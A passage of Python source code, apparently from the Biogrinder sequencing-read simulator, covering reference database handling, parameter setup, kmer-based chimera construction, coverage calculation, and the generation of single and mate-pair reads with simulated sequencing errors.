ValueError(\"Error: Cannot use amplicon primers with proteic \"\n                             \"reference sequences\")\n\n        # Error if using wrong direction on protein database\n        if db_alphabet == 'protein' and unidirectional != 1:\n            raise ValueError(f\"Error: Got <unidirectional> = {unidirectional} \"\n                             \"but can only use <unidirectional> = 1 with \"\n                             \"proteic reference sequences\")\n        \n        database = {'db': seq_db, 'ids': seq_ids}\n        in_handle.close()\n        return database\n\n    def database_get_children_seq(self, refseqid):\n        \"\"\"\n        Retrieve all the sequences object made from a reference sequence based\n        on the ID of the reference sequence.\n        \"\"\"\n        children = []\n        for child_oid in self.database['ids'][refseqid]:\n            seq_obj = self.database_get_seq(child_oid)\n            if seq_obj:\n                children.append(seq_obj)\n        return children\n\n    def database_get_mol_type(self, mol_types):\n        \"\"\"\n        Given a count of the different molecule types in the database, determine\n        what molecule type it is.\n        \"\"\"\n        # Determine the molecule type with the highest count\n        max_type = max(mol_types, key=mol_types.get)\n        max_count = mol_types[max_type]\n\n        # Calculate the count of the other molecule types\n        other_count = sum(count for type_, count in mol_types.items() if type_ != max_type)\n\n        # Check if the max count is less than the count of the other molecule types\n        if max_count < other_count:\n            raise Exception(\"Error: Cannot determine what type of molecules \"\n                            f\"the reference sequences are. Got {max_count} \"\n                            f\"sequences of type '{max_type}' and {other_count} \"\n                            \"others.\")\n\n        # Check if the molecule type is recognized\n        if max_type not in ['dna', 'rna', 'protein']:\n            raise Exception(\"Error: Reference sequences are in an unknown \"\n                            f\"alphabet '{max_type}'\")\n\n        return max_type\n    \n    def database_get_parent_id(self, oid):\n        \"\"\"\n        Based on a sequence object ID, retrieve the ID of the reference \n        sequence it came from\n        \"\"\"\n        seq_id = self.database_get_seq(oid) \n        return seq_id.name\n\n    def database_get_seq(self, oid):\n        \"\"\"\n        Retrieve a sequence object from the database based on its object ID.\n        \"\"\"\n        db = self.database[\"db\"]\n        seq_obj = next((record for record in db if record.id == oid), None)\n        #if seq_obj is None:\n        #    print(f\"Warning: Could not find sequence with object ID '{oid}' in the database\")\n        return seq_obj\n    \n    def initialize(self):\n        # Parameter processing - read_dist\n        if isinstance(self.read_dist, str):\n            self.read_dist = [self.read_dist]\n    \n        self.read_length = is_int(self.read_dist[0] if len(self.read_dist) > 0 else 100)\n        self.read_model = is_option(self.read_dist[1] if len(self.read_dist) > 1 else 'uniform',\n                                    ['uniform', 'normal'])\n        self.read_delta = is_int(self.read_dist[2] if len(self.read_dist) > 2 else 0)\n        \n        # Parameter processing - insert_dist\n        self.mate_length = is_int(int(self.insert_dist[0]) if len(self.insert_dist) > 0 else 0) \n        self.mate_model = is_option(self.insert_dist[1] if len(self.insert_dist) > 1 else 'uniform',\n                                    ['uniform', 'normal'])\n        self.mate_delta = is_int(self.insert_dist[2] if len(self.insert_dist) > 2 else 0)\n\n        # Parameter processing - abundance_model\n        self.distrib = is_option(self.abundance_model[0] if len(self.abundance_model) > 0 else 'uniform',\n                                    ['uniform','linear','powerlaw','logarithmic','exponential'])\n        self.param = is_float(self.abundance_model[1] if len(self.abundance_model) > 1 else 1)\n\n        # Parameter processing - mutation_dist\n        self.mutation_model = is_option(self.mutation_dist[0] if len(self.mutation_dist) > 0 else 'uniform',\n                                        ['uniform','linear','poly4'])\n        self.mutation_para1 = is_float(self.mutation_dist[1] if len(self.mutation_dist) > 1 else 0)\n        self.mutation_para2 = is_float(self.mutation_dist[2] if len(self.mutation_dist) > 2 else 0)\n\n        # Parameter processing - mutation_ratio\n        self.mutation_ratio.append(0) if len(self.mutation_ratio) == 1 else self.mutation_ratio[1]\n        self.mutation_ratio_sum = self.mutation_ratio[0] + self.mutation_ratio[1]\n        if self.mutation_ratio_sum == 0:\n            self.mutation_ratio[0] = self.mutation_ratio[1] = 50\n        else:\n            self.mutation_ratio[0] = round(self.mutation_ratio[0] * 100 / self.mutation_ratio_sum, 1)\n            self.mutation_ratio[1] = round(self.mutation_ratio[1] * 100 / self.mutation_ratio_sum, 1)\n        \n        # Parameter processing - chimera_dist\n        self.chimera_dist_total = sum(self.chimera_dist)\n        if self.chimera_dist_total == 0:\n            self.chimera_dist = None\n        else:\n            self.chimera_dist = normalize(self.chimera_dist, self.chimera_dist_total)\n            # Calculate cdf\n            if self.chimera_perc:\n                self.chimera_perc = float(self.chimera_perc)\n                self.chimera_dist_cdf = self.proba_cumul(self.chimera_dist)\n            else:\n                self.chimera_dist_cdf = None\n\n\n        # Parameter processing - fastq_output required qual_levels\n        if self.fastq_output and (not self.qual_levels or len(self.qual_levels) == 0):\n            raise ValueError(\"Error: <qual_levels> needs to be specified to output FASTQ reads\")\n        \n        # Random number generator: seed or be auto-seeded\n        if self.random_seed is not None:\n            random.seed(int(self.random_seed))\n        else:\n            self.random_seed = random.randint(0, 2**32 - 1)\n            random.seed(self.random_seed)\n        \n        # Sequence length check\n        self.max_read_length = self.read_length + self.read_delta  # approximation\n        if self.mate_length:  # Check if mate_length is not zero\n            self.min_mate_length = self.mate_length - self.mate_delta\n            if self.max_read_length > self.min_mate_length:\n                raise ValueError(\"Error: The mate insert length cannot be \"\n                                 \"smaller than read length. Try increasing the \"\n                                 \"mate insert length or decreasing the read \"\n                                 \"length\")\n        \n        # Pre-compile regular expression to check if reads are valid\n        if self.exclude_chars is not None:\n            self.exclude_re = re.compile(f\"[{self.exclude_chars}]\", re.IGNORECASE)  # Match any of the chars\n        else:\n            self.exclude_re = None\n        \n        # Read MIDs\n        if self.multiplex_ids is not None:\n            self.multiplex_ids = self.read_multiplex_id_file(self.multiplex_ids, self.num_libraries)\n        \n        # Import reference sequences\n        if self.chimera_dist_cdf:\n            # Each chimera needs >= 1 bp. Use # sequences required by largest chimera.\n            self.min_seq_len = len(self.chimera_dist) + 1\n        else:\n            self.min_seq_len = 1\n\n        self.database = self.database_create(self.reference_file,\n                                             self.unidirectional, \n                                             self.forward_reverse,\n                                             self.abundance_file,\n                                             self.delete_chars,\n                                             self.min_seq_len,\n                                             self.maximum_length)\n        self.initialize_alphabet(self.alphabet)\n\n        if (self.alphabet == 'protein' and \n            self.mate_length != 0 and \n            self.mate_orientation != 'FF'):\n            raise Exception(\"Error: Can only use <mate_orientation> FF with \"\n                            \"proteic reference sequences\")\n        \n        # Genome relative abundance in the different independent libraries to create\n        self.c_structs = self.community_structures(self.database['ids'],\n                                                   self.abundance_file,\n                                                   self.distrib,\n                                                   self.param,\n                                                   self.num_libraries,\n                                                   self.shared_perc,\n                                                   self.permuted_perc,\n                                                   self.diversity,\n                                                   self.forward_reverse)\n        \n        # Count kmers in the database if we need to form kmer-based chimeras\n        if self.chimera_perc and self.chimera_kmer:\n            # Get all wanted sequences (not all the sequences in the database)\n            ids_dict = {}\n            ids = []\n            seqs = []\n\n            for c_struct in self.c_structs:\n                for id in c_struct[\"ids\"]:\n                    if id not in ids_dict:\n                        ids_dict[id] = None\n                        ids.append(id)\n                        seqs.append(self.database_get_seq(id))                     \n            ids_dict.clear()\n            # Now create a collection of kmers\n            self.chimera_kmer_col = KmerCollection(k=self.chimera_kmer,\n                                                   seqs=seqs,\n                                                   ids=ids).filter_shared(2)\n        else:\n            self.chimera_kmer_col = None\n        # Markers to keep track of computation progress\n        self.cur_lib = 0\n        self.cur_read = 0\n\n    def initialize_alphabet(self, alphabet):\n        \"\"\"\n        Store the characters of the alphabet to use and calculate their cdf so that\n        we can easily pick them at random later.\n        \"\"\"\n        self.alphabet_dict_in = {}\n        self.alphabet_dict_out = {}\n        if alphabet == 'dna':\n            self.alphabet_dict_in = {\n                'A': None,\n                'C': None,\n                'G': None,\n                'T': None,\n                'N': None,\n                \"-\": None\n            }\n            self.alphabet_dict_out = {\n                'A': None,\n                'C': None,\n                'G': None,\n                'T': None\n            }\n        elif alphabet == 'rna':\n            self.alphabet_dict_in = {\n                'A': None,\n                'C': None,\n                'G': None,\n                'U': None,\n                'N': None,\n                \"-\": None\n            }\n            self.alphabet_dict_out = {\n                'A': None,\n                'C': None,\n                'G': None,\n                'U': None\n            }\n        elif alphabet == 'protein':\n            self.alphabet_dict_in = {\n                'A': None, 'R': None, 'N': None, 'D': None, 'C': None,\n                'Q': None, 'E': None, 'G': None, 'H': None, 'I': None,\n                'L': None, 'K': None, 'M': None, 'F': None, 'P': None,\n                'S': None, 'T': None, 'W': None, 'Y': None, 'V': None\n                # 'B': None, # D or N\n                # 'Z': None, # Q or E\n                # 'X': None  # any amino-acid\n                # J, O and U are the only unused letters\n            }\n            self.alphabet_dict_out = self.alphabet_dict_in\n        else:\n            raise Exception(f\"Error: unknown alphabet '{alphabet}'\")\n        \n        num_chars_in = len(self.alphabet_dict_in)\n        num_chars_out = len(self.alphabet_dict_out)\n        # CDF for this alphabet\n        self.alphabet_complete_in_cdf = self.proba_cumul([1/num_chars_in] * num_chars_in)\n        self.alphabet_truncated_in_cdf = self.proba_cumul([1/(num_chars_in-1)] * (num_chars_in-1))         \n        self.alphabet_complete_out_cdf = self.proba_cumul([1/num_chars_out] * num_chars_out)\n        self.alphabet_truncated_out_cdf = self.proba_cumul([1/(num_chars_out-1)] * (num_chars_out-1))         \n\n    def is_valid(self, seq_obj):\n        \"\"\"\n        Return True if the sequence object is valid (is not empty and does not \n        have any of the specified forbidden characters), False otherwise. \n        \"\"\"\n        if self.exclude_re.search(str(seq_obj.seq)):\n            return False\n        return True\n\n\n    def kmer_chimera_fragments(self, m):\n        \"\"\"\n        Return a kmer-based chimera of the required size. It is impossible to\n        randomly make one that will meet the required size. So, make multiple\n        attempts and save failed attempts in a pool for later reuse.\n        \"\"\"\n        frags = []\n        if hasattr(self, 'chimera_kmer_pool'):\n            pool = self.chimera_kmer_pool.get(m, [])\n        else:\n            pool = None\n            self.chimera_kmer_pool = {}\n\n        \n        if pool:\n            # Pick a chimera from the pool if possible\n            frags = pool.pop(0)\n        else:\n            # Attempt multiple times to generate a suitable chimera\n            actual_m = 0\n            nof_tries = 0\n            max_nof_tries = 100\n\n            while actual_m < m and nof_tries <= max_nof_tries:\n                nof_tries += 1\n                frags = self.kmer_chimera_fragments_backend(m)\n                actual_m = len(frags) // 3\n\n                if nof_tries >= max_nof_tries:\n                    # Could not make a suitable chimera, accept the current chimera\n                    print(f\"Warning: Could not make a chimera of {m} sequences after \"\n                        f\"{max_nof_tries} attempts. Accepting a chimera of {actual_m} sequences\"\n                        \" instead...\")\n                    actual_m = m\n\n                if actual_m < m:\n                    # Add unsuitable chimera to the pool\n                    if actual_m not in self.chimera_kmer_pool:\n                        self.chimera_kmer_pool[actual_m] = []\n                    pool = self.chimera_kmer_pool[actual_m]\n                    pool.append(frags)\n                    # Prevent the pool from growing too big\n                    max_pool_size = 100\n                    if len(pool) > max_pool_size:\n                        pool.pop(0)\n                else:\n                    # We got a suitable chimera... done\n                    break\n        \n        return frags\n\n    def kmer_chimera_fragments_backend(self, m):\n        \"\"\"\n        Pick sequence fragments for multimeras where breakpoints are located on\n        shared kmers. A smaller chimera than requested may be returned.\n        \"\"\"\n\n        # Initial pair of fragments\n        pos = self.rand_kmer_chimera_initial()       \n        # Append sequence to chimera\n        for i in range(3, m + 1):\n            \n            seqid1, start1, end1, seqid2, start2, end2 = self.rand_kmer_chimera_extend(pos[-3], pos[-2], pos[-1])\n            if seqid2 is None:\n                # Could not find a sequence that shared a suitable kmer\n                break\n\n            pos[-3] = seqid1\n            pos[-2] = start1\n            pos[-1] = end1\n\n            pos.extend([seqid2, start2, end2])\n            \n\n        # Put sequence objects instead of sequence IDs\n        i = 0\n        while i < len(pos):\n            seqid = pos[i]\n            seq = self.database_get_seq(seqid)\n            pos[i] = seq\n            i += 3\n        return pos\n\n    def lib_coverage(self, c_struct):\n        \"\"\"\n        Calculate number of sequences needed to reach a given coverage.\n        If the number of sequences is provided, calculate the coverage.\n        \"\"\"\n        if self.coverage_fold is not None:\n            coverage = int(self.coverage_fold)\n        else:\n            coverage = None\n        if self.total_reads is not None:\n            nof_seqs = int(self.total_reads)\n        else:\n            nof_seqs = None\n\n        read_length = int(self.read_length)\n\n        # Calculate library length and size\n        ref_ids = c_struct['ids']\n        diversity = len(ref_ids)\n        lib_length = 0\n\n        for ref_id in ref_ids:\n            seqobj = self.database_get_seq(ref_id)\n            seqlen = len(seqobj) \n            lib_length += seqlen\n\n        # Calculate number of sequences to generate based on desired coverage.\n        # If both number of reads and coverage fold were given, number of reads\n        # has precedence.\n        if nof_seqs:\n            coverage = (nof_seqs * read_length) / lib_length\n        else:\n            nof_seqs = (coverage * lib_length) / read_length\n            nof_seqs = int(nof_seqs) + (nof_seqs % 1 > 0)  # ceiling\n        coverage = (nof_seqs * read_length) / lib_length\n\n        # Sanity check\n        if nof_seqs < diversity:\n            print(\"Warning: The number of reads to produce is lower than the \"\n                  \"required diversity. Increase the coverage or number of reads \"\n                  \" to achieve this diversity.\")\n            self.diversity[self.cur_lib - 1] = nof_seqs\n        return nof_seqs, coverage\n\n\n\n    def next_lib(self):\n        self.cur_lib += 1\n        self.cur_read = 0\n        self.cur_total_reads = 0\n        self.cur_coverage_fold = 0\n        self.next_mate = None\n        self.positions = None\n        if 0 <= self.cur_lib - 1 < len(self.c_structs):\n            c_struct = self.c_structs[self.cur_lib - 1]\n            # Create probabilities of picking genomes from community structure\n            self.positions = self.proba_create(c_struct, self.length_bias, self.copy_bias)\n\n            # Calculate needed number of sequences based on desired coverage\n            self.cur_total_reads, self.cur_coverage_fold = self.lib_coverage(c_struct)\n            \n            if hasattr(self, 'mate_length') and self.mate_length:\n                if self.cur_total_reads % 2 != 0:\n                    self.cur_total_reads = self.cur_total_reads + 1\n            # If chimeras are needed, update the kmer collection with sequence abundance\n            kmer_col = self.chimera_kmer_col\n            if kmer_col:\n                weights = {}\n                for i in range(len(c_struct['ids'])):\n                    id = c_struct['ids'][i]\n                    weight = c_struct['abs'][i]\n                    weights[id] = weight\n                kmer_col.weights = weights\n                kmers, freqs = kmer_col.counts(None, 1, 1)\n                self.chimera_kmer_arr = kmers\n                self.chimera_kmer_cdf = self.proba_cumul(freqs)\n                \n        else:\n            c_struct = None\n        return c_struct            \n\n    def next_mate_pair(self):\n        oids = self.c_structs[self.cur_lib - 1]['ids']\n        if self.multiplex_ids is not None:\n            mid_index = self.cur_lib - 1\n            mid = self.multiplex_ids[mid_index] if 0 <= mid_index < len(self.multiplex_ids) else ''\n        else:\n            mid = ''\n        lib_num = self.cur_lib if self.num_libraries > 1 else None\n        pair_num = int(self.cur_read / 2 + 0.5)\n        max_nof_tries = 1 if self.forward_reverse else 10\n\n        # Deal with mate orientation\n        mate_orientations = list(self.mate_orientation)\n        mate_1_orientation = 1 if mate_orientations[0] == 'F' else -1\n        mate_2_orientation = 1 if mate_orientations[1] == 'F' else -1\n\n        # Choose a random genome\n        genome = self.rand_seq(self.positions, oids)\n\n        nof_tries = 0\n        while True:\n            nof_tries += 1\n            if nof_tries > max_nof_tries:\n                message = f\"Error: Could not take a pair of random shotgun read without forbidden characters from reference sequence {genome.seq.id}\"\n                if max_nof_tries > 1:\n                    message += f\" ({max_nof_tries} attempts made)\"\n                message += \".\"\n                raise Exception(message)\n\n            if self.chimera_perc:\n                genome = self.rand_seq_chimera(genome, self.chimera_perc, self.positions, oids)\n            \n            orientation = 1 if self.unidirectional != 0 else self.rand_seq_orientation()\n            mate_length = self.rand_seq_length(self.mate_length, self.mate_model, self.mate_delta)\n            max_length = len(genome) + len(mid)\n            if mate_length > max_length:\n                mate_length = max_length\n            \n            mate_start, mate_end = self.rand_seq_pos(genome, mate_length, self.forward_reverse, mid)\n            read_length = self.rand_seq_length(self.read_length, self.read_model, self.read_delta)\n            seq_1_start, seq_1_end = mate_start, mate_start + read_length - 1\n            read_length = self.rand_seq_length(self.read_length, self.read_model, self.read_delta)\n            seq_2_start, seq_2_end = mate_end - read_length + 1, mate_end\n            \n            if orientation == -1:\n                mate_1_orientation *= orientation\n                mate_2_orientation *= orientation\n                seq_1_start, seq_2_start = seq_2_start, seq_1_start\n                seq_1_end, seq_2_end = seq_2_end, seq_1_end\n            \n            # Generate first mate read\n            shotgun_seq_1 = new_subseq(pair_num, genome, self.unidirectional,\n                                            mate_1_orientation, seq_1_start, seq_1_end, mid,\n                                            self.alphabet, '1', lib_num,\n                                            self.desc_track, self.qual_levels)\n            if self.homopolymer_dist or self.mutation_para1:\n                shotgun_seq_1 = self.rand_seq_errors(shotgun_seq_1)\n            if self.exclude_re and not self.is_valid(shotgun_seq_1):\n                continue\n            \n            # Generate second mate read\n            shotgun_seq_2 = new_subseq(pair_num, genome, self.unidirectional,\n                                            mate_2_orientation, seq_2_start, seq_2_end, mid,\n                                            self.alphabet, '2', lib_num,\n                                            self.desc_track, self.qual_levels)\n            if self.homopolymer_dist or self.mutation_para1:\n                shotgun_seq_2 = self.rand_seq_errors(shotgun_seq_2)\n            if self.exclude_re and not self.is_valid(shotgun_seq_2):\n                continue\n\n            # Both shotgun reads were valid\n            break\n        return shotgun_seq_1, shotgun_seq_2\n\n\n    def next_read(self):\n        if self.cur_lib is None:\n            self.next_lib()\n        \n        self.cur_read += 1\n\n        if self.cur_read <= self.cur_total_reads:\n            # Generate the next read\n            if hasattr(self, 'mate_length') and self.mate_length:\n                # Generate a mate pair read\n                if not hasattr(self, 'next_mate') or self.next_mate is None:\n                    # Generate a new pair of reads\n                    read, read2 = self.next_mate_pair()\n                    # Save second read of the pair for later\n                    self.next_mate = read2\n                else:\n                    # Use saved read\n                    read = self.next_mate\n                    self.next_mate = None\n            else:\n                # Generate a single shotgun or amplicon read\n                read = self.next_single_read()\n        else:\n            read = None\n        return read\n    \n    def next_single_read(self):\n        \"\"\"\n        Generate a single shotgun or amplicon read.\n        \"\"\"\n\n        oids = self.c_structs[self.cur_lib - 1]['ids']\n        \n        if self.multiplex_ids is not None:\n            mid_index = self.cur_lib - 1\n            #mid = self.multiplex_ids[self.cur_lib - 1] if self.cur_lib - 1 in self.multiplex_ids else ''\n            mid = self.multiplex_ids[mid_index] if 0 <= mid_index < len(self.multiplex_ids) else ''\n        else:\n            mid = ''\n\n        lib_num = self.cur_lib if self.num_libraries > 1 else None\n        max_nof_tries = 1 if self.forward_reverse else 10\n\n        # Choose a random genome or amplicon\n        genome = self.rand_seq(self.positions, oids)\n        nof_tries = 0\n        while True:\n            nof_tries += 1\n            if nof_tries > max_nof_tries:\n                message = (\"Error: Could not take a random shotgun read without \"\n                           \"forbidden characters from reference sequence \" + genome.id)\n                if max_nof_tries > 1:\n                    message += f\" ({max_nof_tries} attempts made)\"\n                message += \".\"\n                raise Exception(message)\n\n            if self.chimera_perc:\n                genome = self.rand_seq_chimera(genome, self.chimera_perc, self.positions, oids)\n\n            orientation = 1 if self.unidirectional != 0 else self.rand_seq_orientation()\n\n            length = self.rand_seq_length(self.read_length, self.read_model, self.read_delta)\n\n            max_length = len(genome) + len(mid)\n            if length > max_length:\n                length = max_length\n            start, end = self.rand_seq_pos(genome, length, self.forward_reverse, mid)\n            shotgun_seq = new_subseq(self.cur_read, genome, self.unidirectional, orientation, start, end, mid,\n                                     self.alphabet, None, lib_num, self.desc_track, self.qual_levels)\n\n            if self.homopolymer_dist or self.mutation_para1:\n                shotgun_seq = self.rand_seq_errors(shotgun_seq)\n\n            if not self.exclude_re or self.is_valid(shotgun_seq):\n                break\n\n        return shotgun_seq    \n\n    def proba_bias_dependency(self, c_struct, size_dep, copy_bias):\n        '''\n        Affect probability of picking a species by considering genome length\n        or gene copy number bias\n        '''\n        # Calculate probability\n        probas = []\n        totproba = 0\n        diversity = len(c_struct['ids'])\n        for i in range(diversity):\n            proba = c_struct['abs'][i]\n\n            if self.forward_reverse:\n                # Gene copy number bias\n                if copy_bias:\n                    refseq_id = self.database_get_parent_id(c_struct['ids'][i])\n                    nof_amplicons = len(self.database_get_children_seq(refseq_id))\n                    proba *= nof_amplicons\n            else:\n                # Genome length bias\n                if size_dep:\n                    id = c_struct['ids'][i]\n                    seq = self.database_get_seq(id)\n                    _len = len(seq)  # Assuming the seq is a string in Python\n                    proba *= _len\n                    \n\n            probas.append(proba)\n            totproba += proba\n\n        # Normalize if necessary\n        if totproba != 1:\n            probas = normalize(probas, totproba)\n        return probas\n\n    def proba_create(self, c_struct, size_dep, copy_bias):\n        # Calculate size-dependent, copy number-dependent probabilities\n        probas = self.proba_bias_dependency(c_struct, size_dep, copy_bias)\n        # Generate proba starting position\n        positions = self.proba_cumul(probas)\n        return positions\n    \n    def proba_cumul(self, probas):\n        sum_val = 0\n        cumul_probas = [0]\n        for prob in probas:\n            sum_val += prob\n            cumul_probas.append(sum_val)\n        return cumul_probas\n    \n    def process_profile_file(self, args):\n        \"\"\"\n        Find profile file in arguments and read the profiles. The profile file\n        only contains Biogrinder arguments, and lines starting with a '#' are\n        comments.\n        \"\"\"\n        try:\n            with open(args.profile_file, 'r') as file:\n                for line in file.readlines():\n                    line = line.strip()\n                    if not line or line.startswith('#'):\n                        continue # Skip empty lines and comments\n                    arg_name, arg_value_str = line.split(' ', 1)\n                    arg_values = arg_value_str.split()\n                    if hasattr(args, arg_name):\n                        value = arg_values[0] if len(arg_values) == 1 else arg_values\n                        setattr(args, arg_name, value)\n                        setattr(self, arg_name, value)\n                    else:\n                        print(f\"Warning: {arg_name} is not a recognized argument.\")\n        except FileNotFoundError:\n            print(f\"Error: Could not read file '{args.profile_file}'\") \n\n    def rand_chimera_fragments(self, m, sequence, positions, oids):\n        \"\"\"\n        Pick which sequences and breakpoints to use to form a chimera.\n        \"\"\"\n        \n        # Pick random sequences\n        seqs = [sequence]\n        min_len = len(sequence)\n\n        for i in range(2, m + 1):\n            prev_seq = seqs[-1]\n            seq = None\n            while True:\n                seq = self.rand_seq(positions, oids)\n                if seq.id != prev_seq.id:\n                    break\n            seqs.append(seq)\n            seq_len = len(seq)\n            if min_len is None or seq_len < min_len:\n                min_len = seq_len\n\n        # Pick random breakpoints\n        nof_breaks = m - 1\n        breaks = {}\n        while len(breaks) < nof_breaks:\n            rand_pos = 1 + int(random.uniform(0, min_len - 1))\n            breaks[rand_pos] = None\n        breaks = [1] + sorted(breaks.keys())\n        \n        # Assemble the positional array\n        pos = []\n        for i in range(1, m + 1):\n            seq = seqs[i - 1]\n            start = breaks.pop(0)\n            end = breaks[0] if breaks else len(seq)\n            if breaks:\n                breaks[0] += 1\n            pos.extend([seq, start, end])\n\n        return pos\n\n    def rand_chimera_size(self):\n        \"\"\"\n        Decide the number of sequences that the chimera will have, \n        based on the user-defined chimera distribution.\n        \"\"\"\n        return self.rand_weighted(self.chimera_dist_cdf) + 2\n\n    def rand_homopolymer_errors(self, seq_str, error_specs):\n        pattern = r\"(.)\\1+\"\n        for match in re.finditer(pattern, seq_str):\n            res = match.group(1)                  # residue in homopolymer\n            len_homopolymer = len(match.group())  # length of the homopolymer\n            pos = match.start()                   # start of the homopolymer\n\n            stddev, new_len, diff = 0, 0, 0\n            if self.homopolymer_dist == 'balzer':\n                stddev = 0.03494 + len_homopolymer * 0.06856\n            elif self.homopolymer_dist == 'richter':\n                stddev = 0.15 * np.sqrt(len_homopolymer)\n            elif self.homopolymer_dist == 'margulies':\n                stddev = 0.15 * len_homopolymer\n            else:\n                raise ValueError(f\"Unknown homopolymer distribution '{self.homopolymer_dist}'\")\n\n            new_len = int(len_homopolymer + stddev * random.random() + 0.5)\n            new_len = max(0, new_len)  # make sure new_len isn't negative\n            diff = new_len - len_homopolymer\n\n            if diff == 0:\n                continue\n            if diff > 0:\n                if pos not in error_specs:\n                    error_specs[pos] = {}\n                error_specs[pos]['+'] = [res] * diff\n            elif diff < 0:\n                for offset in range(abs(diff)):\n                    if pos + offset not in error_specs:\n                        error_specs[pos + offset] = {}\n                    error_specs[pos + offset]['-'] = [None]\n\n        return error_specs\n\n    def rand_kmer_chimera_extend(self, seqid1, start1, end1):\n        \"\"\"\n        Pick another fragment to add to a kmer-based chimera.\n        Return None if none can be found.\n        \"\"\"\n        \n        seqid2 = start2 = end2 = None\n\n        # Get kmer frequencies in the end part of sequence 1\n        kmer_arr, freqs = self.chimera_kmer_col.counts(seqid1, start1, 1)\n\n        if kmer_arr is not None:\n\n            # Pick a random kmer\n            kmer_cdf = self.proba_cumul(freqs)\n            kmer = self.rand_kmer_from_collection(kmer_arr, kmer_cdf)\n\n            # Get a sequence that has the same kmer as the first but is not the first\n            if kmer is not None:\n                seqid2 = self.rand_seq_with_kmer(kmer, seqid1)\n\n            # Pick a suitable kmer start on that sequence\n            if seqid2 is not None:\n\n                # Pick a random breakpoint\n                middle = int(self.chimera_kmer / 2)\n                pos1 = self.rand_kmer_start(kmer, seqid1, start1)\n                pos2 = self.rand_kmer_start(kmer, seqid2, start1 + middle)\n                if pos1 is None or pos2 is None:\n                    return seqid1, start1, end1, None, None, None\n                if pos1 > pos2:\n                    pos2, pos1 = pos1, pos2\n\n                # Place breakpoint about the middle of the kmer (kmers are at least 2 bp long) \n                #middle = int(self.chimera_kmer / 2)\n                end1 = pos1 + middle - 1\n                start2 = pos2 + middle\n                end2 = len(self.database_get_seq(seqid2).seq)\n\n        return seqid1, start1, end1, seqid2, start2, end2\n\n    def rand_kmer_chimera_initial(self, seqid1=None):\n        \"\"\"\n        Pick two sequences and start points to assemble a kmer-based bimera.\n        An optional starting sequence can be provided.\n        \"\"\"\n\n        if seqid1:\n            # Try to pick a kmer from the requested sequence\n            kmer = self.rand_kmer_of_seq(seqid1)\n            if not kmer:\n                raise ValueError(f\"Error: Sequence {seqid1} did not contain a suitable kmer\")\n        else:\n            # Pick a random kmer and sequence containing that kmer\n            kmer = self.rand_kmer_from_collection()\n            seqid1 = self.rand_seq_with_kmer(kmer)\n\n        # Get a sequence that has the same kmer as the first but is not the first\n        seqid2 = self.rand_seq_with_kmer(kmer, seqid1)\n        if not seqid2:\n            raise ValueError(f\"Error: Could not find another sequence that contains kmer {kmer}\")\n\n        # Pick random breakpoint positions\n        pos1 = self.rand_kmer_start(kmer, seqid1)\n        pos2 = self.rand_kmer_start(kmer, seqid2)\n\n        # Swap sequences so that pos1 < pos2\n        if pos1 > pos2:\n            seqid1, seqid2 = seqid2, seqid1\n            pos1, pos2 = pos2, pos1\n\n        # Place breakpoint about the middle of the kmer (kmers are at least 2 bp long) \n        middle = int(self.chimera_kmer / 2)\n        start1 = 1\n        end1 = pos1 + middle - 1\n        start2 = pos2 + middle\n        end2 = len(self.database_get_seq(seqid2).seq)\n\n        return [seqid1, start1, end1, seqid2, start2, end2]\n\n    def rand_kmer_from_collection(self, kmer_arr=None, kmer_cdf=None):\n        \"\"\"\n        Pick a kmer at random amongst all possible kmers in the collection.\n        \"\"\"\n        \n        kmers = kmer_arr if kmer_arr is not None else self.chimera_kmer_arr\n        cdf = kmer_cdf if kmer_cdf is not None else self.chimera_kmer_cdf\n        index = self.rand_weighted(cdf)\n        if index < len(kmers)   :\n            kmer = kmers[self.rand_weighted(cdf)]\n        else:\n            kmer = None\n        return kmer\n\n\n    def rand_kmer_of_seq(self, seqid):\n        \"\"\"\n        Pick a kmer amongst the possible kmers of the given sequence.\n        \"\"\"\n\n        kmer = None\n        kmers, freqs = self.chimera_kmer_col.kmers(seqid, 1)\n        \n        if len(kmers) > 0:\n            cdf = self.proba_cumul(freqs)\n            kmer = kmers[self.rand_weighted(cdf)]\n        return kmer\n\n    def rand_kmer_start(self, kmer, source, min_start=1):\n        \"\"\"\n        Pick a kmer starting position at random for the given kmer and sequence ID.\n        An optional minimum start position can be given.\n        \"\"\"\n        \n        kmer_starts = self.chimera_kmer_col.positions(kmer, source)\n\n        # Find index of first index min_idx where position respects min_start\n        min_idx = None\n        for i, start in enumerate(kmer_starts):\n            if start >= min_start:\n                min_idx = i\n                break\n\n        if min_idx is not None:\n            # Get a random index between min_idx and the end of the list\n            rand_idx = min_idx + random.randint(0, len(kmer_starts) - min_idx - 1)\n            # Get the value for this random index\n            start = kmer_starts[rand_idx]\n            return start\n        return None\n\n    def rand_point_errors(self, seq_str, error_specs):\n        seq_len = len(seq_str)        \n        if not hasattr(self, 'mutation_cdf'):\n            self.mutation_cdf = {}\n            self.mutation_avg = {}\n        if seq_len not in self.mutation_cdf:\n            mut_pdf = []\n            mut_sum = 0\n\n            if self.mutation_model == 'uniform':\n                proba = 1 / seq_len\n                mut_pdf = [proba for _ in range(seq_len)]\n                mut_freq = self.mutation_para1\n                mut_sum = 1\n\n            elif self.mutation_model == 'linear':\n                mut_freq = abs(self.mutation_para2 + self.mutation_para1) / 2\n                if seq_len == 1:\n                    mut_pdf.append(mut_freq)\n                    mut_sum = mut_freq\n                else:\n                    slope = (self.mutation_para2 - self.mutation_para1) / (seq_len - 1)\n                    for i in range(seq_len):\n                        val = self.mutation_para1 + i * slope\n                        mut_pdf.append(val)\n                        mut_sum += val\n\n            elif self.mutation_model == 'poly4':\n                for i in range(seq_len):\n                    val = self.mutation_para1 + self.mutation_para2 * (i+1)**4\n                    mut_pdf.append(val)\n                    \n                    mut_sum += val\n                mut_freq = mut_sum / seq_len\n\n            else:\n                raise ValueError(f\"Unsupported error distribution: {self.mutation_model}\")\n\n            if mut_sum != 1:\n                mut_pdf = [x/mut_sum for x in mut_pdf]\n\n            self.mutation_cdf[seq_len] = np.cumsum(mut_pdf)\n            self.mutation_avg[seq_len] = mut_freq\n\n        mut_cdf = self.mutation_cdf[seq_len]\n        mut_avg = self.mutation_avg[seq_len]\n        read_mutation_freq = mut_avg + 0.1 * mut_avg * random.random()\n        nof_mutations = int(seq_len * read_mutation_freq / 100 + random.random())\n        \n\n        if nof_mutations == 0:\n            return error_specs\n\n        subst_frac = self.mutation_ratio[0] / 100\n        for _ in range(nof_mutations):\n            idx = np.searchsorted(mut_cdf, random.random(), side='right')\n            if idx not in error_specs:\n                error_specs[idx] = {}\n\n            if random.random() <= subst_frac:\n                error_specs[idx]['%'] = 